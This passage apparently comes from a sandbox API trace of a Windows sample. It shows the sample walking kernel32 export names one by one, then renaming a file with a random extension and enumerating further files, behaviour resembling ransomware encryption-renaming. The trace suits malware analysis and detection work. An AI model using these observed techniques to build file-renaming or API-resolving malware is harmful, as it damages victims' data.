lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0129.756] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0129.756] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0129.756] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0129.756] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0129.756] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0129.756] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0129.756] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0129.756] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0129.756] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0129.756] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0129.756] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0129.756] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0129.756] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0129.756] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0129.756] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0129.756] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0129.756] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0129.756] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0129.756] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0129.756] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0129.757] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0129.757] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0129.757] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0129.757] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0129.757] lstrlenA (lpString="CLOSESTATE") returned 10 [0129.757] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0129.757] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0129.757] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0129.757] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0129.757] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0129.757] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0129.757] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0129.757] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0129.757] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0129.757] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0129.757] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0129.757] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0129.757] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0129.757] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0129.757] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0129.757] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0129.757] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0129.757] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0129.757] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0129.757] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0129.757] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0129.757] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0129.757] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0129.757] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0129.757] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0129.757] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0129.757] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0129.757] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0129.758] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0129.758] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0129.758] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0129.758] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0129.758] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0129.758] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0129.758] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0129.758] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0129.758] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0129.758] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0129.758] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0129.758] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0129.758] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0129.758] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0129.758] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0129.758] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0129.758] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0129.758] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0129.758] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0129.758] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0129.758] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0129.758] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0129.758] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0129.758] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0129.758] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0129.758] lstrlenA (lpString="COPYCONTEXT") returned 11 [0129.758] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0129.758] lstrlenA (lpString="COPYFILE2") returned 9 [0129.758] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0129.758] lstrlenA (lpString="COPYFILEA") returned 9 [0129.758] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0129.758] lstrlenA (lpString="COPYFILEEXA") returned 11 [0129.758] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0129.759] lstrlenA (lpString="COPYFILEEXW") returned 11 [0129.759] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0129.759] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0129.759] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0129.759] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0129.759] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0129.759] lstrlenA (lpString="COPYFILEW") returned 9 [0129.759] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0129.759] lstrlenA (lpString="COPYLZFILE") returned 10 [0129.759] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0129.759] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0129.759] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0129.759] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0129.759] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0129.759] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0129.759] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0129.759] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0129.759] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0129.759] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0129.759] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0129.759] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0129.759] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0129.759] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0129.759] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0129.759] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0129.759] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0129.759] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0129.759] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0129.759] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0129.759] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0129.759] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0129.759] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0129.759] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0129.759] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0129.760] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0129.760] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0129.760] lstrlenA (lpString="CREATEEVENTA") returned 12 [0129.760] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0129.760] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0129.760] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0129.760] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0129.760] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0129.760] lstrlenA (lpString="CREATEEVENTW") returned 12 [0129.760] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0129.760] lstrlenA (lpString="CREATEFIBER") returned 11 [0129.760] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0129.760] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0129.760] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0129.760] lstrlenA (lpString="CREATEFILE2") returned 11 [0129.760] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0129.760] lstrlenA (lpString="CREATEFILEA") returned 11 [0129.760] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0129.760] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0129.760] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0129.760] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0129.760] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0129.760] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0129.760] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0129.760] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0129.760] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0129.760] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0129.760] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0129.760] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0129.760] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0129.760] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0129.760] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0129.760] lstrlenA (lpString="CREATEFILEW") returned 11 [0129.761] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0129.761] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0129.761] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0129.761] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0129.761] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0129.761] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0129.761] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0129.761] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0129.761] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0129.761] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0129.761] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0129.761] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0129.761] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0129.761] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0129.761] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0129.761] lstrlenA (lpString="CREATEJOBSET") returned 12 [0129.761] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0129.761] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0129.761] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0129.761] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0129.761] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0129.761] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0129.761] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0129.761] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0129.761] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0129.761] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0129.761] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0129.761] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0129.761] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0129.761] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0129.761] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0129.761] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0129.761] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0129.761] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0129.762] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0129.762] lstrlenA (lpString="CREATEPIPE") returned 10 [0129.762] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0129.762] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0129.762] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0129.762] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0129.762] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0129.762] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0129.762] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0129.762] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0129.762] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0129.762] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0129.762] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0129.762] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0129.762] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0129.762] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0129.762] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0129.762] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0129.762] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0129.762] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0129.762] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0129.762] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0129.762] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0129.762] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0129.762] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0129.762] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0129.762] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0129.762] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0129.762] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0129.762] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0129.762] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0129.762] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0129.762] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0129.762] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0129.763] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0129.763] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0129.763] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0129.763] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0129.763] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0129.763] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0129.763] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0129.763] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0129.763] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0129.763] lstrlenA (lpString="CREATETHREAD") returned 12 [0129.763] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0129.763] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0129.763] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0129.763] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0129.763] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0129.763] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0129.763] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0129.763] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0129.763] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0129.763] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0129.763] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0129.763] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0129.763] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0129.763] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0129.763] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0129.764] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.FgfQ8") returned 50 [0129.764] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.FgfQ8" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml.fgfq8"), dwFlags=0x0) returned 1 [0129.765] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0129.765] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0129.765] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0129.766] FindNextFileW (in: hFindFile=0x3b81380, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, 